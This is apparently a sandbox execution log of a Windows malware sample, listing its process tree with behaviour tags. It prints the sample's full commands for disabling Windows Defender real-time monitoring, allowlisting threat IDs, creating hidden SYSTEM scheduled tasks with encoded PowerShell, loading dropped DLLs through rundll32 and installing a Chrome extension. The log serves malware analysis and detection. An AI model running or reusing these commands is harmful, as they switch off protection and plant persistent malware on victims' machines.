reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:4460

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:3496

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:4076

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4092

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:4948

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ghYWitkRW" /SC once /ST 21:17:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3056

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ghYWitkRW"
3⤵
PID:3716

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ghYWitkRW"
3⤵
PID:2988

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:3544

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:4256

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:2620

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:3388

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gruHhWdMU" /SC once /ST 14:59:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3076

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gruHhWdMU"
3⤵
PID:4468

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gruHhWdMU"
3⤵
PID:1948

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:3504

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:2804

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:320

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:3680

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZeWKVsXrVUhETallN" /SC once /ST 08:41:47 /RU "SYSTEM" /TR "\"C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\GxQnstS.exe\" xE /SCOzdidNf 385134 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2148

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZeWKVsXrVUhETallN"
3⤵
PID:1972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3492 -s 260
3⤵
- Program crash
PID:4620

C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\HPDLnnv.exe
C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\HPDLnnv.exe xE /cuAHdidpu 385134 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:4308

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:4184

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:3200

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:2860

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:4904

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:2112

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4668

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:2832

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:4780

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:1784

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:4512

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:4956

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4600

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:1988

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:4624

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:3448

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4856

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:1828

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bRfJDuKmNsszhfPRJj"
3⤵
PID:3076

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:3748

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:3152

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:4204

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4564

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
7⤵
PID:2224

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
4⤵
PID:2804

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
5⤵
PID:3240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:1032

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
7⤵
PID:536

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\dSFCGoajU\UsTZZR.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "IKgJWbxobPFnKRD" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4708

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "IKgJWbxobPFnKRD2" /F /xml "C:\Program Files (x86)\dSFCGoajU\FHIXXsP.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2136

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "IKgJWbxobPFnKRD"
3⤵
PID:2224

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "IKgJWbxobPFnKRD"
3⤵
PID:5008

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "akoOFLrBRTPCbU" /F /xml "C:\Program Files (x86)\yPeEHKRKYSIU2\jrNDRpg.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3756

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "wfFQcQKlkPPWv2" /F /xml "C:\ProgramData\LIlQlxhqsAqlQuVB\qMVvNho.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:4592

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "vxcqWRmGqrEtvyfOY2" /F /xml "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR\gIRaEqH.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2276

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YEGcRNQFZnwPGhngIoG2" /F /xml "C:\Program Files (x86)\QVWjqfQytQiLC\PIPpipX.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3852

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "igQCsPejxzPEidhrw" /SC once /ST 09:40:25 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\cksoItPsQhGrxIuH\IjxFQuJx\FIDVMyO.dll\",#1 /ROQGdidvPTg 385134" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:940

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "igQCsPejxzPEidhrw"
3⤵
PID:3028

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ZeWKVsXrVUhETallN"
3⤵
PID:4264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1516
3⤵
- Program crash
PID:576

C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe
C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\VMJlLvi.exe oU /mXNdidqo 385134 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4508

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:4276

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:4272

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4644

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:4688

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:4960

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:5084

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4952

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:4520

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:4576

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:4748

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:2208

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4252

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:4536

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:2188

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:2324

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2924

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:4992

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gRZgQKrzk" /SC once /ST 16:44:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:808

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gRZgQKrzk"
3⤵
PID:4692

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gRZgQKrzk"
3⤵
PID:1928

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:3220

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:4272

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:4628

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:4960

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZeWKVsXrVUhETallN" /SC once /ST 18:47:25 /RU "SYSTEM" /TR "\"C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\OLECFOb.exe\" xE /DjcWdidBi 385134 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4832

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZeWKVsXrVUhETallN"
3⤵
PID:3472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 520
3⤵
- Program crash
PID:3212

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\cksoItPsQhGrxIuH\IjxFQuJx\FIDVMyO.dll",#1 /ROQGdidvPTg 385134
2⤵
PID:4944

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\cksoItPsQhGrxIuH\IjxFQuJx\FIDVMyO.dll",#1 /ROQGdidvPTg 385134
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3944

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "igQCsPejxzPEidhrw"
4⤵
PID:4732

C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\OLECFOb.exe
C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\OLECFOb.exe xE /DjcWdidBi 385134 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:2936

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:4892

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:2260

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4404

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:4268

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:3820

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:2688

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4332

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:4660

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:4224

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:5056

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:4980

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:3580

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:1816

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:2344

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:3044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2720

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:552

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bRfJDuKmNsszhfPRJj"
3⤵
PID:4744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:3992

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:1296

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:3020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
